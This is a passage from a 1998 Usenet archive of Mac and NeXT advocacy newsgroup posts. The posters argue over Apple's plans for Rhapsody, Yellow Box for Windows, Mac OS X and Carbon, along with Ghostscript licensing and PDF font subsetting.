being too hopeful. We can curse Apple for not getting a better OS out
sooner, but we can't reasonably blame it for not making Rhapsody an
immediate replacement for Mac OS.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 16 May 1998 19:44:25 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@crispy-critters
Message-ID: <us5u36pixwm.fsf@ai.mit.edu>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5> <6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com> <6jg1d0$gn2$2@cronkite.cygnus.com> <355C5789.3595A31@milestonerdl.com> <6jhp8b$ac4$1@crib.bevc.blacksburg.va.us> <1d93eff.1syfuut1k1xiwfN@carina47.wco.com>
mpaque@wco.com (Mike Paquette) writes:
> Just to clarify something for everyone. GhostScript is NOT under the
> GNU General license. It may be freely redistributed only for
> non-commercial use. Aladdin (L. Peter Deusch's most excellent company,
> not the compression dudes) sells licenses for commercial use, as well as
> providing consulting services (plug, plug...).
Well, not QUITE accurate. Aladdin usually makes the GS interpreter
available under GNU about a year after it's been available under the
other license -- so companies have to pay for the latest and greatest.
(As a side note, most companies probably prefer the commercial license
than the GNU license *anyway*, so they probably don't mind :-)
> The current licensing model in the PostScript interpreter biz is to
> charge per-unit royalties. Per-unit royalities make it difficult to put
> software on FTP servers, what with third party mirroring sites and all.
> How does one track all those licenses, and collect the royalties?
> (Think about the recent complaints about $1/copy QuickTime...)
Although this is true of the current situation, I'd imagine that
L. Peter Deutsch might be more receptive to changing the royalty model
under a deal with Apple than Adobe would be, since Adobe has other
agendas it would like to pursue instead of the PostScript biz. Of
course, I don't know him, so i could be wrong.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
Date: Sat, 16 May 1998 18:49:37 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <djboccip-1605981849370001@tnt2-98.hiwaay.net>
References: <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <B1833813-6DD19@206.165.43.27>, "Lawson English"
<english@primenet.com> wrote:
>
> In other words, if you use a single chinese font character in an Acrobat
> file, the entire 6 MB font is going to be included in the Acrobat file,
> whereas PDD files only include those characters which are actually used,
> making the PDD file nearly 6MB smaller.
>
Er, this is FUD. From the Distiller 3.0 manual, reprinted sans copyright:
"To minimize PDF file size, you can choose to embed only those characters
of a font that are used in a document - that is, subset the font.
Subsetting is chosen as the default. When you choose to subset, you
also choose the character threshold that determines when a font subset
is created. If the percentage of characters exceeds the character
threshold setting in a document, then the entire font will be embedded
in the file rather than a subset of it. The default is 35%"
- Dennis
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Date: Sat, 16 May 1998 19:48:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-1605981948230001@elk32.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>
In article <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com>, akira@home.com
wrote:
> There will be NO more later Rhapsody/x86 releases. None, zero, zip! Unless
> the market can convince Apple that it is appropriate to continue.
Please provide some evidence to back up this position.
Otherwise, your just another trolling Wintel FUDster.
>
> You are forgetting, there will be NO more Rhapsody/x86 past Rhapsody 1.0.
> MacOS X isn't coming out for another year after Rhapsody 1.0. Rhapsody 1.0
> WILL have a YB finder. I rather doubt that will change for MacOS X.
Wrong.
> Repeat after me: No more Rhapsody/x86 after Rhapsody 1.0. Period. Direct
> from Apple to me to you.
Do you think it becomes true if you say the same lie often enough? If it's
direct from Apple, you shouldn't have any trouble giving a URL.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 19:55:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jl91t$j7c$1@crib.bevc.blacksburg.va.us>
References: <355bc985.0@206.25.228.5> <6jgq6j$5us@sjx-ixn10.ix.netcom.com> <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <355d22e1.0@nnrp1.news.uk.psi.net>
In article <355d22e1.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk. (Richard Frith-Macdonald) wrote:
> The only thing I really didn't expect is that the preferences app is so
> appallingly bad - they had the NeXTstep one to start with - then tried
> something like the current one in DR1, and I'd have thought that the
> dogs-dinner they made of that would have got them to go back to something
> like the original.
I guess the idea is to make it look more like MacOS Control Panels..
wouldn't want to freak out the MacOS users, you know.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 16 May 1998 17:04:27 -0700
Message-ID: <see-below-1605981704270001@209.24.241.16>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
In article <6jk3qs$a4a@ragnarok.en.uunet.de>,
hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette) wrote:
> akira@home.com wrote:
> > Hi all,
> >
> > In the Yellow Box
> > feedback session, I got down to some frank questions and got some clear cut
> > answers, FINALLY!
>
> > And most importantly...
> >
> > Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach
combo for
> > Intel. IE: Rhapsody on Intel can be considered the end of life for that
> > product.
>
> What a surprise! <not>
Ick, erk, ack... I'm not sure if I'm surprised, but I do agree this is
_not_ a good move. I hope they give it more of a chance than that.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 16 May 1998 20:01:05 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jl9c1$je2$1@crib.bevc.blacksburg.va.us>
References: <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27> <djboccip-1605981849370001@tnt2-98.hiwaay.net>
In article <djboccip-1605981849370001@tnt2-98.hiwaay.net>, djboccip@hiwaay.net (Dennis J. Boccippio) wrote:
> In article <B1833813-6DD19@206.165.43.27>, "Lawson English"
> <english@primenet.com> wrote:
> > In other words, if you use a single chinese font character in an Acrobat
> > file, the entire 6 MB font is going to be included in the Acrobat file,
> Er, this is FUD. From the Distiller 3.0 manual, [...]
Good grief, this is the same erroneous claim he made of PostScript some
time ago (mabye with respect to downloading the fonts to the printer
rather than embedding them in a file; I can't remember). Is he now
going to recycle all of his PostScript misconceptions into exciting new
PDF misconceptions???
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 16 May 1998 20:04:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jl9if$jfl$1@crib.bevc.blacksburg.va.us>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
In article <Et2Lqx.A2A@micmac.com>, nospam@micmac.com wrote:
> This was written in
> comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer
> (<1d93iik.1l170dz8etsaxN@carina47.wco.com>) by Mike Paquette:
> > MacOS X will not require a PostScript interpreter. One will not be
> > present in the base system. Therefore, one cannot reasonably process
> > the existing NSHost protocol to a MacOS X system.
> Is this for licence reasons or did Apple find a much better solution?
License reasons. They currently don't have a replacement solution
for NSHosting.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 18:15:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355E1E0E.833447A@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com> <joe.ragosta-1605981936090001@elk32.dol.net>
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Joe Ragosta wrote:
> In article <nagleEt2nD0.5xF@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> > I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
> > Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
> > It shows just how far Apple was willing to go in terms of making
> > commitments they didn't keep.
> > Never forget this.
> Hmmm. And I guess MS never missed a ship date or changed their plans?
At least Microsoft publishes plans. Many of which you could use to condem them, if
there was another 'option' with, Oh, say 25%+ of the market as an alternative.
Microsoft believes (and this is the case today) that they are the only game in
town. And if people buy into technology that is totally Microsoft driven, then
they remain the only game.
> Everyone admits that Copland was a fiasco. Since Apple acquired NeXT,
> their strategy is quite coherent and seems to be well-executed.
Under Copland they published books, documents about where they were going.
The amount of 'public planning' now from Apple is far less. Advantage: No one
can hold you to it when you fail. Disadvantage: No documented path you are taking.
> Worst, case, Unified will be 3-6 months late. That's compared to late
> shipments measured in _years_ on the other side of the fence.
Well there is no more Unified. After Amelio left, Apple stopped talking about
Unified. Never DID say 'Hey, we are changing plans' just changed them, and 'Oh,
we'll tell ya all about them at WWDC'
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 07:52:18 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355D8C01.B7E79044@milestonerdl.com>
References: <eviltofu-1505981915180001@viking202-50.dhcp.csuohio.edu> <B18235D3-17D22@207.217.155.190>
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Brad Hutchings wrote:
> >I'd like to see an Intel Carbon layer. This should induce lots of Mac
> >developers to rev up to Carbon.
> >Forget it. Pigs will fly first, and I hereby promise to eat the first Intel
> machine publicly demonstrated to run the carbon APIs as documented in the
> current white paper.
The current white paper is a 'living document', is it not? If it is, by the
time you say current, it's no longer current.
Safe bet.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sat, 16 May 1998 09:18:40 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355DA040.D6BEABC3@milestonerdl.com>
References: <355B510B.250023F2@milestonerdl.com> <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com>
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Really?
Is there a QT of this session?
(Is that Rhapsody and yellowbox in 1998?...havn't gotten that one down yet)
Mike Paquette wrote:
> Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> for Windows works on Windows 98 Release Candidates and the Windows NT
> 5.0 beta.
>
> It works on the machine in my office, too...
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 10:07:59 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355DABCF.B1FC5A7E@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162> <ericb-1505981818400001@132.236.171.104> <see-below-1505982119100001@209.24.241.97>
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Matthew Vaughan wrote:
> If Apple doesn't have a cross-platform strategy, then why are they
> spending so much on QuickTime for Windows?
Quicktime has been an option with Windows for quite some time. Long b4 the whole
YellowBox thing.
> Why are they spending so much
> time integrating Java into Rhapsody?
Java is 'going to be' a write-once run everyone thing....so not having it on
Rhapsody is a reason to say no to Rhapsody.
> Why are they spending so much on
> improving Yellow Box?
As part of the PPC environment.
> The cross-platform picture is _integral_ to Apple's long term plans.
> Having Yellow Box for Windows is critical to it succeeding.
Given:1) The lack of people who signed onto NeXT development
2) The creation of Carbon to give the developers who didn't want to move to
YellowBox
3) The lack of a 'shipping product.' (Given the OpenSTEP base, and it shipped this
is a hard one to stand on)
4) The announcement of MacOS X, instead of Rhapsody being the end OS
5) Apple killing off anything that might reduce Macintosh sales
6) (can you guess? :-)
This list could go on for a while longer, past WWDC technologies that went no-where,
cancelled products, yadda, yadda.
Is there any wonder why the jumping to YellowBox hasn't happened? What is the
publicly demonstrated FUTURE of YellowBox? As long as there's a MacOS, it would
appear that YellowBox will be supported.
And given the increase of userbase from OpenSTEP to MacOS X, that qualifies as a
success.
Microsoft can pull 'technology shifts' whenever it wants. It has 90% or so
marketshare. Apple can't act as Microsoft does.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Sat, 16 May 1998 09:01:40 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355D9C43.6398F5F7@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com> <3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com> <6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com> <6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com> <6jfual$1cc$32@ironhorse.plsys.co.uk> <rmcassid-1405982337250001@dialin9022.slip.uci.edu>
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Robert Cassidy wrote:
> In article <6jfual$1cc$32@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
> > I'm willing to lay down $100 that within a year of Win98 shipping Apple has
> > YellowBox running on it.
> What happens if 98 never ships?
> Ooh it feels good being able to ask that question!
Or no one notices that 98 has shipped.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 09:09:29 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355D9E19.30699728@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com> <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca>
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John Christie wrote:
> In article <355CB499.EB48D472@milestonerdl.com>, mark@milestonerdl.com wrote:
> Are you saying that NT5 and 98 are going to break YB on NT4 and '95?
> I'm surpised they lack the backward compatibility (given the minimal
> upgrade of '98).
I would not put it past Microsoft to change NT 5.x so that it breaks YB as it
worked with NT 4.x.
And at that point, Apple says it's Microsofts fault, and they should fix it. And
Microsoft says its Apples fault.
Leaving YB dead, till one side yields...mostlikly Apple.
Lots of people believe Apple won't cancel YB on intel.....anyone want to jump to
Microsofts defense here?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 09:27:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355DA26C.83307E21@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <andyba-ya02408000R1505981747330001@news>
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Andy Bates wrote:
> In article <ericb-1405981303550001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
>
> > If Apple were going to
> > announce long-term YB Windows support or long-term Rhapsody/Intel support,
> > I think they would have announced it at WWDC. They did not. Read between
> > the lines. What does this tell you?
>
> If Apple were going to kill long-term YB Windows support or long-term
> Rhapsody/Intel support, I think they would have announced it at WWDC. They
> did not. Read between the lines. What does this tell you?
Are you saying that if a technology is announced and discussed at WWDC, it's
important to Apple?
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 08:05:05 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355D8F01.6D9ED4B1@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <895179379.806734@kelp.mbay.net> <6jfmgm$7pe$1@crib.bevc.blacksburg.va.us> <6jhodi$ckf@papoose.quick.com> <6jhv7a$aph$1@crib.bevc.blacksburg.va.us> <see-below-1505982056500001@209.24.241.97>
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Matthew Vaughan wrote:
> Yes, you can pull out OpenDoc and GX and Newton as past examples all you
> want - this is a different Apple, and I'm convinced it knows what it's
> doing for once.
Which is another problem.....Whenever Apple changes 'leadership', the plans seem to
change.
I wonder....if the iMac fails...will the board call for Jobs' head?
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 17:36:54 -0700
Message-ID: <see-below-1605981736540001@209.24.241.16>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <ericb-1505981847060001@132.236.171.104> <pulsar-ya02408000R1605981454190001@news-proxy.cso.uiuc.edu> <see-below-1605981554430001@209.24.241.16> <pulsar-ya02408000R1605981845280001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1605981845280001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <see-below-1605981554430001@209.24.241.16>,
> see-below@not-my-address.com (Matthew Vaughan) wrote:
>
> > At no point,
> > from the initial announcement of Rhapsody over a year ago until the OS X
> > announcement, did Apple ever announce, state, hint, or otherwise imply
> > that Rhapsody or anything derived therefrom would be a consumer OS before
> > the turn of the century. Never. In fact, they blatantly stated that it
> > would _not_ be a consumer OS in this century, and made a point of dropping
> > quite a few hints in various places to that effect, particularly after
> > some people started wrongly assuming that it might be.
>
> Yes. I think a lot of us (though apparently not you :) tend to ignore this
> and believe what we hoped would happen. It occured to me a few months ago
> Rhapsody couldn't possibly replace the Mac OS right away. Since the
> announcement, I rather forgot about it in all the hub-bub.
I admit I was also one who _hoped_ it would be, even in public, but less
so after MacOS improved to OS 8, and especially as time went on, the
premiere release didn't ship, developers didn't announce applications for
it, etc. (and reinforced by MacOSRumors' coverage of future MacOS
versions).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sat, 16 May 1998 19:35:26 -0500
Organization: KAOS
Message-ID: <199805161935261708140@sdn-ts-002txhousp06.dialsprint.net>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104> <see-below-1505982202520001@209.24.241.97> <6jk95l$b0m@ragnarok.en.uunet.de>
Holger Hoffstaette wrote:
> Matthew Vaughan wrote:
>
> > Apple wants to take this one step at a time. It doesn't want to make Mac
> > developers uncomfortable with the need to switch to Yellow Box. But once
> > they've moved to Carbon and those products are shipping, I think there
> > will be a much bigger push for Yellow Box.
>
> Software development history shows that programmers are *far* too lazy
> to incrementally adopt new paradigms (not APIs!). You cannot mix a
> procedural API and framework based programming. Trying to do so will
> yield the worst of both worlds. Since 'crap does not survive in the
> Mac world' (which raises the question why Apple management and the
> MacOS itself have survived for so long) we'll be left with the lowest
> common denominator. No, wait - the Mac will be left with the lowest
> common denominator. The rest of the world will have moved on, as usual.
> I'm used to moving. Apple and the Mac community apparently are not.
I fail to see what purpose is served by lacing your words with needless
Mac bashing. (And if you hadn't noticed, Apple is being run by NeXT
management now.)
Right now, Apple's top priority is increasing hardware sales, from which
the company gets the bulk of its profits. Without those sales and
profits, Apple, Macs and Yellow Box will all disappear. To boost
hardware sales, Apple must show potential customers and developers that
their main product, the Macintosh, has a long future. The best way to
do this right now is by offering a Macintosh operating system that is as
robust as other desktop OSes and which offers a full panoply of
name-brand software which takes advantage of that robustness.
Since you seem to agree that time is of the essence where modernizing
Mac OS is concerned, I would think you would see that Apple has come up
with a plan to achieve the aforementioned goal as quickly as possible by
offering a robust environment for the most important Mac apps while
demanding relatively little effort on the part of developers to make
their apps compliant with it. This last is especially important when
you consider that 1) Apple has a history of abandoning whiz-bang
technologies after developers have spent considerable time and money
trying to program for them, and 2) Apple's share of the desktop
marketplace has been falling continuously and to such dangerously low
levels that even continued development of a high-profile product like
Quicken was almost halted. Apple *needs* a low-risk method for
name-brand apps to work seamlessly in its new, modern OS; without that,
the new OS isn't a player and you can kiss Yellow Box, the Mac and Apple
goodbye.
At the same time, in the new OS Apple will bring the Yellow Box runtime
along for the ride by placing it on *every new Mac owner's desktop,*
something that looked to be years away in Apple's previous plan. If you
regret that NeXT was ever purchased by Apple because plans for
widespread adoption of NeXT technology have had to accommodate Apple's
ailing financial condition, I suppose that's a valid complaint, although
as far as I can tell, widespread adoption of NeXT technology didn't seem
too promising in the first place before the merger. Now it looks to me
like NeXT technology will be widely available in a couple of years.
I don't know what it's been like to be a NeXT user/developer all these
years, but IMO anyone who thought Apple's purchase of NeXT would lead to
OpenStep nirvana was not living in the real world. From what I've read
here, NeXT was languishing; certainly Apple was in trouble (still is).
Now at least there is a plan to bring a lot of the good from both
companies and give it a future -- maybe not The Ideal Future, but at
least the prospect of continuation. Parts or all of it may still fail,
but I really don't see where Apple is making huge errors in judgement or
is deserving of the hostility you display above. Perhaps you're just
railing at Fate because not enough people appreciated OpenStep when they
had the chance?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sat, 16 May 1998 19:35:31 -0500
Organization: KAOS
Message-ID: <199805161935311708461@sdn-ts-002txhousp06.dialsprint.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
Holger Hoffstaette wrote:
> Apple is not in the OS business? Right. Give me one of those G3s, but
> please no OS - since you're not in the OS business, right? HELLO?
> Has anybody of these 'managers' ever tried to get a PC without OS?
More precisely, Apple doesn't make its money in the OS business. Apple
(like most non-x86 computer vendors) sells hardware that uses an OS
specifically designed for that hardware. The bulk of Apple's revenues
and profits come from hardware sales. The OS adds value to Apple's main
product, hardware. To sell an OS that does not run on Apple hardware is
to add value to other companies' hardware while reducing the appeal
(thus, revenues and profits) of Apple's own products.
I don't know that I agree with Apple's stance, but I understand the
rationale. I should think most NeXT users would as well, though as I
understand it the last time Jobs was in this situation he killed the
hardware to go Intel rather than killing the Intel port to go with
hardware. I'll leave it to others to decide which is the better
business plan (realizing, of course, that the particulars are quite
different in many ways).
> (they don't sell any hardware by selling Rhap/x86, so the price of the
> OS will be higher, which results in slower adoption, which results in
> low ROI, which results in Apple pulling the plug) ...
>
> Unanswered questions so far:
>
> - Rhapsody/x86 will be developed until CR1, with DPS remaining
> as the imaging/rendering layer and display server. If MacOS X is supposed
> to have a new graphics layer (according to Mike) with the other APIs
> just sitting on top (which is cool), do they *seriously* expect me to
> believe that this layer will be available on later Rhapsody/x86 releases,
> especially if it's been developed to maximize PPC performance?
> They already have two YB graphics layer implementations to maintain
> (Rhapsody/PPC and YB/Windows on top of GDI), the third one (Rhap/x86)
> will most likely be a victim of the ROI bean counters.
>
> - the latest rumor is that McOS X will have a *Carbon* based Finder
> (the horror!). Since Carbon is not supposed to run on Rhapsody/x86
> 'server', and Apple will hardly maintain two Finder/UI/Workspace code
> bases (especially not in this weird nonstandard YB thing), the
> Rhapsody/x86 server will be controlled...how?
> (I can already see it..Rhapsody Server, Intel edition - PPC and 3rd
> party tool required for GUI. Should sell like hot cakes. NOT.)
So far you've offered several compelling reasons why Rhapsody/Intel is
untenable for Apple. (This does not mean that I'm cheering this move,
but I'm not too surprised that Apple is leery of selling an OS for other
companies' hardware. In fact, I've been criticized for saying as much
in the recent past.)
> That's great, but 'market surveys have shown that the largest part of our
> Mac customer base does not have an open mind', and gee, there goes the
> good will of the engineering team. I can already see IBM pulling the plug
> on the PPC (you say unlikely? ha ha. Think different.)
Again, what's with the Mac bashing? Read your own words above. There
are plenty of reasons to drop Rhapsody/Intel that have *nothing to do
with Mac users!!!!!* Put that ax away, wouldya?
As for IBM, what the hell are you talking about? If IBM *and Motorola*
decide to drop chips currently essential to some of their product lines,
I'm sure Apple will find a way around the problem. Who knows, they may
even have the first Merced-compatible OS on the market.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Sorry That Apple Purchased NeXT?
Date: Sat, 16 May 1998 19:35:34 -0500
Organization: KAOS
Message-ID: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
No Rhapsody/Intel beyond CR1.
No more DPS.
No more NSHosting.
Yellow Box spotlight usurped by old Mac APIs.
Fully Macified UI.
G3 or later hardware required to run future incarnations of Rhapsody.
Without debating the finer points of how true all of the above are, I'm
curious if the consensus in (this slice of) the NeXT community is that
things were better before Apple bought NeXT and that, in retrospect, the
merger was a bad move for NeXT aficionados. I think it would be helpful
if opinions were grounded in economic reality rather than dashed ivory
tower fantasies, but it's your post, so say whatever you want.
It does seem, in a way, that Jobs is finally making that next-generation
Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
thing? The hardware is not as sleek, the UI not as pretty. Are the
compromises that go with appealing to a consumer market worth it for the
possibility of the technology flourishing? Or is the technology doomed
anyway if the native OS won't run on Windows machines?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Sat, 16 May 1998 19:35:35 -0500
Organization: KAOS
Message-ID: <199805161935351708715@sdn-ts-002txhousp06.dialsprint.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181> <1d93f0c.1rp62nqawhj9yN@carina47.wco.com> <6jjkoj$chf$1@crib.bevc.blacksburg.va.us>
Nathan Urban wrote:
> Seriously, you just have to wonder sometimes what kind of funny chemicals
> Lawson is using.. "MacOS X isn't a consumer-oriented OS". "YB is dead".
> Gosh, the world he lives in must be... interesting...
Seems kind of gloomy to me.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
